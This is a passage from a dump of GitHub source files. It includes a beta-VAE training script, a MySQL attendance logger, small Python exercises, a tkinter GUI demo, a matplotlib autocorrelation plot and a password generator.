'val_data.npy'), val_data, allow_pickle=True)\n np.save(os.path.join(lg.saved_data, 'all_data.npy'), all_data, allow_pickle=True)\n total_epochs = 0\n curr_losses = ([],[])\nelse:\n root_dir = os.path.join(cf.IMGRUN_DIR, cf.CURR_IMGRUN_ID)\n lg = logger.logger(root_dir=root_dir, trainMode=True, txtMode=False)\n lg.setup_checkpoint(encoder=model.enc_model, generator=model.gen_model, opt=model.optimizer) # sets up the writer\n lg.restore_checkpoint() # actuall reads in the weights...\n allfiles = os.listdir(lg.saved_data)\n print(f\"allfiles: {allfiles}\")\n total_epochs = [int(f.rstrip(\".pkl\").lstrip(\"losses_\")) for f in allfiles if f.startswith(\"losses_\")]\n total_epochs.sort(reverse=True)\n print(f\"total_epochs = {total_epochs[0]}\")\n total_epochs = total_epochs[0]\n curr_losses = ut.load_pickle(os.path.join(lg.saved_data, f\"losses_{total_epochs}.pkl\"))\n\n\n\n#%% # LOAD & PREPROCESS the from list of filessudo apt install gnome-tweak-tool\n# could simplify this by making another \"load_prep_batch_data(train_data,imagesize,augment=True,)\"\ntrain_dataset = ut.load_prep_and_batch_data(train_data, cf_img_size, cf_batch_size, augment=True)\ntest_dataset = ut.load_prep_and_batch_data( val_data, cf_img_size, cf_batch_size, augment=False)\n\n# train_dataset = tf.data.Dataset.from_tensor_slices(train_data)\n# test_dataset = tf.data.Dataset.from_tensor_slices(val_data)\n# train_dataset = ut.load_and_prep_data(cf_img_size, train_dataset, augment=True)\n# test_dataset = ut.load_and_prep_data(cf_img_size, test_dataset, augment=False)\n# train_dataset = ut.batch_data(train_dataset)\n# test_dataset = ut.batch_data(test_dataset)\n\n#%% Load all data\n# get some samples\nfor train_samples, train_labels in train_dataset.take(1) : pass\nfor test_samples, test_labels in test_dataset.take(1) : pass\n\n# count number of batches... \ntotal_train_batchs = 0\nfor _ in train_dataset :\n total_train_batchs += 1\n\n# #%% Setup datasets\nsample_index = 1\n\n\n#%% lets pick apart our loss/cost\n# we already have our samples\n# train_samples, train_labels in train_dataset.take(1) : pass\n# test_samples, test_labels in test_dataset.take(1) : pass\n\n\n#%%\n\n \n\n\n\n\n\n#%% Training & Validation data save?\n# do we want to save the image data for the training set... i.e. the augmented bytes?\ndump_image_data = False\nif dump_image_data:\n\n start_time = time.time()\n batch_index = 1\n imgs = []\n labels = []\n\n for train_x, label in train_dataset :\n #train_x = tf.cast(train_x, dtype=tf.float32)\n #imgs.append(np.moveaxis(train_x.numpy(),0,-1)) # put the \"batch\" at the end so we can stack\n imgs.append(train_x.numpy()) # put the \"batch\" at the end so we can stack\n labs = [l.numpy().decode() for l in label]# decode makes this a simple string??\n labels.extend(labs)\n stdout.write(\"\\r[{:3d}/{:3d}] \".format(batch_index, total_train_batchs))\n stdout.flush()\n batch_index = batch_index + 1\n\n trainimgs = np.concatenate(imgs,axis=0)\n trainlabs = labels # np.stack(labels)\n False\n print('Epoch Time: {:.2f}'.format( float(time.time() - start_time)))\n\n ut.dump_pickle(os.path.join(lg.saved_data,\"train_agumented.pkl\"), (trainimgs,trainlabs) )\n\n # validation data save \n batch_index = 1\n imgs = []\n labels = []\n for test_x, label in test_dataset :\n imgs.append(train_x.numpy()) # put the \"batch\" at the end so we can stack\n labs = [l.numpy().decode() for l in label] # decode makes this a simple string??\n labels.extend(labs)\n\n stdout.write(\"\\r[{:3d}/{:3d}] \".format(batch_index, 16))\n stdout.flush()\n batch_index = batch_index + 1\n\n flatten = lambda l: [item for sublist in l for item in sublist]\n\n testlabs = labels # np.stack(labels)\n testimgs = np.concatenate(imgs,axis=0)\n print('Epoch Time: {:.2f}'.format( float(time.time() - start_time)))\n\n ut.dump_pickle(os.path.join(lg.saved_data,\"test.pkl\"), (testimgs,testlabs) )\n\n\n#%% \n# #################################################\n##\n## log the run and TRAIN!!\n## - train from scratch OR \n## - start where we left off\n##\n#####################################################\n\ncf_root_dir = lg.root_dir #make sure we log this\n# log Config...\nlg.write_config(locals(), [cv.CVAE, cv.CVAE.__init__])\nlg.update_plot_dir()\n#tf.config.experimental.list_physical_devices('GPU') \n\n\n\n\n#%% \nn_epochs = cf_num_epochs\nepoch_n, curr_losses = train_model(n_epochs, display_interval=5, save_interval=20, test_interval=5,current_losses=curr_losses)\n#epoch_n,elbo_train,elbo_test = trainModel(n_epochs, display_interval=5, save_interval=5, test_interval=5)\ntotal_epochs += epoch_n\nif lg.total_epochs == total_epochs:\n print(f\"sanity epoch={total_epochs}\")\nelse:\n lg.reset(total_epochs=total_epochs)\nmodel.save_model(lg.root_dir, lg.total_epochs )\n\nut.dump_pickle(os.path.join(lg.saved_data, f\"losses_{total_epochs}.pkl\"),curr_losses)\n\n\n\nfor test_samples, test_labels in test_dataset.take(1) : pass\nfor train_samples, train_labels in train_dataset.take(1) : pass\n\n#%% \nsample_index = 1\n\nfor sample_index in range(10):\n title_text = f\"trained n={sample_index}\"\n ut.show_reconstruct(model, train_samples, title=title_text, index=sample_index, show_original=True, save_fig=True, limits=cf_limits)\n\nfor sample_index in range(10):\n title_text = f\"tested n={sample_index}\"\n ut.show_reconstruct(model, test_samples, title=title_text, index=sample_index, show_original=True, save_fig=True, limits=cf_limits)\n\n###########################\n############################\n#\n# Now make some easy access databases...\n#\n############################\n###########################\n#%% \n\n# ut.make_gif_from_dir(gif_in_dir, name):\n\n# model.save_model(lg.root_dir, 138)\n# #%% \n\n# model.load_model(lg.root_dir,669)\n# # Need to make methods to extract the pictures \n\n#%% Run model on all data to get latent vects and loss. Used for streamlit app and other places.\n#preds,losses = ut.dumpReconstruct( model, train_dataset, test_dataset )\nds = ut.load_and_dump(cf_img_size, lg.img_in_dir)\n#or _samples, _labels in ds.take(1) : pass\n# remake this to simply go through all the data and calculate the embedding and loss... new functions probably...\n#%%count our n\nn_samples = 0\nfor _ in ds :\n n_samples += 1\n#%% dump the vectors to a dictionary\n\nsnk2loss = {}\nsnk2vec = {}\nfor sample, label in tqdm(ds, \n unit_scale=True, \n desc=\"Saving shape 2 vec: \", \n unit=\" encodes\", \n total=n_samples ) :\n #sample = tf.cast(sample, dtype=tf.float32)\n key = label.numpy() # maybe should have changed this to a string... but byte is good...\n snk2vec[key] = model.encode(sample[None,...], reparam=True).numpy()[0]\n snk2loss[key] = model.compute_loss(sample[None,...]).numpy()\n\nut.dump_pickle(os.path.join(lg.root_dir,\"snk2vec.pkl\"), snk2vec)\nut.dump_pickle(os.path.join(lg.root_dir,\"snk2loss.pkl\"), snk2loss)\n\n\n\n\n#################\n#################\n","repo_name":"ergonyc/SneakerGen","sub_path":"beta-vae/vae.py","file_name":"vae.py","file_ext":"py","file_size_in_byte":16521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"320310893","text":"import mysql.connector\r\nimport csv\r\nfrom datetime import datetime \r\n\r\nmydb = mysql.connector.connect(\r\n host = \"localhost\",\r\n user = \"root\",\r\n password = \"\",\r\n database = \"absensi\",\r\n autocommit=True\r\n)\r\n\r\nmycursor = mydb.cursor()\r\n\r\nwith open('id-names.csv', 'r') as file:\r\n reader = csv.reader(file)\r\n next(reader)\r\n for row in reader:\r\n name = \"Raffa\"\r\n waktu = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\r\n print(name)\r\n print(waktu)\r\n query = \"INSERT INTO absen (name, waktu) VALUES (%s, %s)\"\r\n values = (name, waktu)\r\n mycursor.execute(query, values)\r\n\r\nmydb.commit()\r\nmydb.close()\r\n\r\n\r\n","repo_name":"NekoMeong/Absensi","sub_path":"penyambung.py","file_name":"penyambung.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"71431670297","text":"from random import randint\nimport numpy as np\nimport objects\n\nclass horizontalbeams:\n def __init__(self,board):\n self.__character=\"-\"\n self.__x=randint(2,29)\n self.__y=randint(10,1300)\n self._placehorizontalbeam(board)\n\n def _placehorizontalbeam(self,board):\n flag=0\n for j in range(self.__y,self.__y+4):\n if board._matrix[self.__x][j]==\"$\" or board._matrix[self.__x][j]==\"|\":\n flag=1\n arr3=np.empty([1,4],dtype=object)\n if flag==0:\n arr3=objects.horizontal_beam\n board._matrix[self.__x:self.__x+1,self.__y:self.__y+4]=arr3","repo_name":"damasravani19/Jet-pack-joyride","sub_path":"horizontalbeams.py","file_name":"horizontalbeams.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"32185854400","text":"# 把一个字符串转换为Unicode码位的列表\nsymbols = \"@#$%^&\"\ncodes = []\n\nfor symbol in symbols:\n # ord返回一个单字��字符串的Unicode代码点。\n codes.append(ord(symbol))\n\nprint(codes)\n\n# 使用列表推导式\ncodes_2 = [ord(symbol) for symbol in symbols]\nprint(codes_2)\n\n# 使用filter和map组合\nsymbols_2 = \"$¥%*%@!#\"\nbeyond_ascii = list(filter(lambda c: c > 127, map(ord, symbols_2)))\nprint(beyond_ascii)\n","repo_name":"mgw2168/fluent_python","sub_path":"chapter02/01-listcomps.py","file_name":"01-listcomps.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"42533415528","text":"opcao = ' '\ncount = 0\nsoma = 0\nmaior = 0\nmenor = 0\nwhile opcao not in 'Nn':\n num = int(input('Digite um número: '))\n if count == 0:\n maior = num\n menor = num\n if maior < num:\n maior = num\n if menor > num:\n menor = num\n soma += num\n count += 1\n opcao = input('Deseja continuar [S/N]? ')\n\nmedia = soma / count\nprint('Você digitou {} números. A média dos valores digitados foi {}, '\n 'o menor valor {} e o maior valor {}.'.format(count, media, menor, maior))\n","repo_name":"fabriciolelis/python_studying","sub_path":"Curso em Video/ex065.py","file_name":"ex065.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"38810673487","text":"from sympy import symbols, Piecewise, integrate, oo, limit, pprint\nfrom sympy.plotting import plot\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport soundfile as sf\nfrom scipy.signal import fftconvolve\nfrom scipy.fftpack import fft, ifft\nfrom ejercicio_1 import funcion_a_trozos, grafico_funcion, energia_señal, potencia_señal\nfrom ejercicio_2 import aleatorios\nfrom ejercicio_3 import promedio_señal\nfrom ejercicio_4 import carga_lectura_wav, convolucion\n\ndef main():\n print(\"En el presente trabajo, presentamos las respuestas de los ejercicios solicitados:\\n\")\n print(f\"Ejercicio 1:\\n{'-'*30}\")\n \n x, T = symbols(\"x T\")\n\n funcion = funcion_a_trozos(x)\n grafico_funcion(funcion)\n energia = energia_señal(funcion, x)\n potencia = potencia_señal(funcion, x, T)\n print(\"La señal está caracterizada por: \")\n pprint(funcion)\n print(\n f\"\\nLa misma tiene una energía de valor {energia}\\nY una potencia igual a {potencia}\"\n )\n\n print('-'*30)\n\n print(f\"Ejercicio 2:\\n{'-'*30}\")\n print(\"Se mostrará un gráfico correspondiente a la consigna solicitada:\\n\")\n aleatorios(0, 10, 30)\n print('-'*30)\n\n print(f\"Ejercicio 3:\\n{'-'*30}\")\n nombre_archivo_ej3 = input(\"Ingrese el nombre del archivo de audio seguido de .wav para graficar su promedio: \")\n promedio_señal(nombre_archivo_ej3)\n print('-'*30)\n\n print(f\"Ejercicio 4:\\n{'-'*30}\")\n nombre_archivo_ej4_1 = input(\"Ingrese el nombre del primer archivo de audio seguido de .wav para convolucionar (o su ruta de acceso): \")\n nombre_archivo_ej4_2 = input(\"Ingrese el nombre del segundo archivo de audio seguido de .wav para convolucionar (o su ruta de acceso): \")\n data_1, fs_1 = carga_lectura_wav(nombre_archivo_ej4_1)\n data_2, fs_2 = carga_lectura_wav(nombre_archivo_ej4_2)\n convolucion_audios = convolucion(data_1, data_2)\n print('-'*30)\n\nif __name__ == '__main__':\n main()","repo_name":"maxiyommi/coding-challenge","sub_path":"benjamin_sardini/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1921,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"19218999922","text":"from tkinter import *\n\nwindow = Tk()\nwindow.title(\"My first GUI program\")\nwindow.minsize(width=500, height=300)\n\nmy_label = Label(text=\"I am a Label\", font=(\"Arial\", 24, \"bold\"))\n#pack() puts it in the centre of the screen\nmy_label.grid(column=0, row=0)\n\n#button\ndef button_clicked():\n my_label.config(text=input.get())\n\n\nbutton = Button(text=\"Click me\", command=button_clicked)\nbutton.grid(column=1, row=1)\n\n# Entry\ninput = Entry(width=10)\ninput.grid(column=3, row=2)\n\nnew_button = Button(text=\"click me\")\nnew_button.grid(column=2, row=0)\n\n\n\nwindow.mainloop()","repo_name":"adachoinw/python","sub_path":"day27/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"26494309432","text":"'''\nThe decimal number, 585 = 10010010012 (binary), is palindromic in both bases.\n\nFind the sum of all numbers, less than one million, which are palindromic in base 10 and base 2.\n\n(Please note that the palindromic number, in either base, may not include leading zeros.)\n'''\n\nimport time\n\ndef is_palin(n):\n return str(n) == str(n)[::-1]\n\n#driver code\nstart_time = time.time()\n\npalindromes = []\n\nfor i in range(1000000):\n if is_palin(i):\n if is_palin(bin(i)[2:]):\n palindromes.append(i)\n\nprint(sum(palindromes))\nprint('Runtime: {}'.format(time.time() - start_time))\n","repo_name":"JVorous/ProjectEuler","sub_path":"problem36.py","file_name":"problem36.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"40699884629","text":"#\r\n# Skeleton file for the Python \"Bob\" exercise.\r\n#\r\ndef hey(what):\r\n alphas=caps=0\r\n if what.strip()=='':\r\n return 'Fine. Be that way!'\r\n for i in range(len(what)):\r\n if what[i].isalpha(): alphas+=1\r\n if what[i].isupper(): caps+=1\r\n if alphas==caps and alphas!=0: return 'Whoa, chill out!'\r\n if what.strip()[-1]=='?':\r\n return 'Sure.'\r\n else: return 'Whatever.'\r\n","repo_name":"itsolutionscorp/AutoStyle-Clustering","sub_path":"all_data/exercism_data/python/bob/9239173283e942f0abf5adc46080ceb8.py","file_name":"9239173283e942f0abf5adc46080ceb8.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"68"}
+{"seq_id":"35524709303","text":"class Plant:\n def __init__(self, name):\n self._name = name\n\n def get_name(self):\n return self._name\n\n def set_name(self, new_name):\n self._name = new_name\n return\n\n\nobj = Plant(\"object\")\nprint(obj.get_name())\n\n\nclass Wood(Plant):\n def __init__(self, name, color):\n super().__init__(name)\n self.color = color\n\n\noak = Wood(\"oak\", \"brown\")\nprint(oak.get_name())\nprint(oak.color)\n\n\nclass Furniture:\n def __init__(self, furniture_name, name, color):\n self.furniture_name = furniture_name\n self.wood = Wood(name, color)\n\n\nfurniture = Furniture(\"bench\", \"pine\", \"light brown\")\nprint(furniture.furniture_name)\nprint(furniture.wood.get_name())\nprint(furniture.wood.color)\n\n\nclass ClassB:\n class_variable = 2\n\n def __init__(self, object_variable):\n self.object_variable = object_variable\n\n @classmethod\n def class_method(cls):\n cls.class_variable = 3\n return\n\n def object_method(self):\n self.object_variable = \"longer_string\"\n return\n\n\nobj1 = ClassB(\"string\")\nobj2 = ClassB(\"also a string\")\n\nprint(obj1.object_variable)\nprint(obj2.object_variable)\nobj1.object_method()\nprint(obj1.object_variable)\nprint(obj2.object_variable)\n\nprint(obj1.class_variable)\nprint(obj2.class_variable)\nClassB.class_method()\nprint(obj1.class_variable)\nprint(obj2.class_variable)\n","repo_name":"ivanyang06/CsTest","sub_path":"code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"41004763846","text":"import random\n\nnum = random.randint(0,100)\nwhile True:\n try:\n guess = int(input('enter 1-100\\n'))\n except ValueError as e:\n print(\"error\",e)\n continue\n if guess > num:\n print('猜大了')\n elif guess < num:\n print('猜小了')\n else:\n print('ok')\n break","repo_name":"mixinan/first-python-project","sub_path":"guess.py","file_name":"guess.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"72265094936","text":"# Implementation of matplotlib.pyplot.acorr()\n# function\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# Fixing random state for reproducibility\nnp.random.seed(10**7)\n\ngeeks = np.random.randn(51)\nfig = plt.figure(figsize = (10,10))\n\nplt.title(\"Autocorrelation Example\")\nplt.acorr(geeks, usevlines = True, normed = True, maxlags = 50, lw = 2)\n\nplt.grid(True)\nfig.savefig('acorr_function_exp2.pdf',bbox_inches='tight')\n","repo_name":"Python-Learning-SJ/matplotlib","sub_path":"acorr_function_exp2.py","file_name":"acorr_function_exp2.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"17271509929","text":"\"\"\"\n Генератор паролей.\n Пользователь выбирает 1 из 3 вариантов:\n 1. Сгенерировать простой пароль (только буквы в нижнем регистре, 8 символов)\n 2. Сгенерировать средний пароль (любые буквы и цифры, 8 символов)\n 3. Сгенерировать сложный пароль (минимум 1 большая буква, 1 маленькая, 1 цифра и 1 спец-символ, длина от 8 до 16 символов)\n (для 3 пункта можно генерировать пароли до тех пор, пока не выполнится условие)\n\n Для решения использовать:\n - константы строк из модуля string (ascii_letters, digits и т.д.)\n - функцию choice из модуля random (для выборки случайного элемента из последовательности)\n - функцию randint из модуля random (для генерации случайной длины сложного пароля от 8 до 16 символов)\n\n\n Дополнительно (не влияет на оценку):\n 1. Позволить пользователю выбирать длину пароля, но предупреждать, что\n пароль ненадежный, если длина меньше 8 символов\n 2. Добавить еще вариант генерации пароля - 4. Пользовательский пароль:\n - пользователь вводил пул символов, из которых будет генерироваться пароль\n - вводит длину желаемого пароля\n - программа генерирует пароль из нужной длины из введенных символов\n - * игнорируются пробелы\n\"\"\"\n# ОСНОВНОЕ ЗАДАНИЕ\nfrom random import choice, randint\nimport string\n\n\ndef main():\n try:\n choice_pasword = int(input('Сгенерировать простой пароль - 1'\n 'Сгенерировать средний пароль - 2'\n 'Сгенерировать сложний пароль - 3:'))\n except ValueError:\n print('Введите число от 1 до 3')\n return main()\n length = 8 # для 1 и 2 задния\n length_2 = randint(8, 16) # для 3\n\n small = string.ascii_lowercase\n big = string.ascii_uppercase\n spec = string.punctuation\n digits = string.digits\n all_symbols = spec+digits+big+small\n average = small+big+digits\n pas = ''\n if choice_pasword > 4:\n print('Введите число от 1 до 3')\n return main()\n if choice_pasword == 1:\n pas = pas + choice(small)\n while len(pas) < length:\n pas += choice(small)\n if choice_pasword == 2:\n pas = pas + choice(average)\n while len(pas) < length:\n pas += choice(average)\n if choice_pasword == 3:\n pas += choice(digits)\n pas += choice(small)\n pas += choice(big)\n pas += choice(spec)\n while len(pas) < length_2:\n pas += choice(all_symbols)\n print(pas)\n\n\nmain()\n\n# ДОПОЛНИТЕЛЬНОЕ\n\n\ndef main1():\n words_for_password = input('Введите символы для будущего пароля: ')\n words = words_for_password.replace(' ', '')\n length_3 = int(input('Введите кол символов для пароля - \"Больше 8\" :'))\n pas = ''\n if len(words) < 8 or length_3 < 8:\n print('Пароль не надежный.\\nВведите больше 8 символов')\n return main1()\n else:\n pas = pas + choice(words)\n while len(pas) < length_3:\n pas += choice(words)\n print(pas)\n\n\nmain1()\n","repo_name":"Sersh4745/python_learn","sub_path":"Diachenko.hw5/password_gen.py","file_name":"password_gen.py","file_ext":"py","file_size_in_byte":4076,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}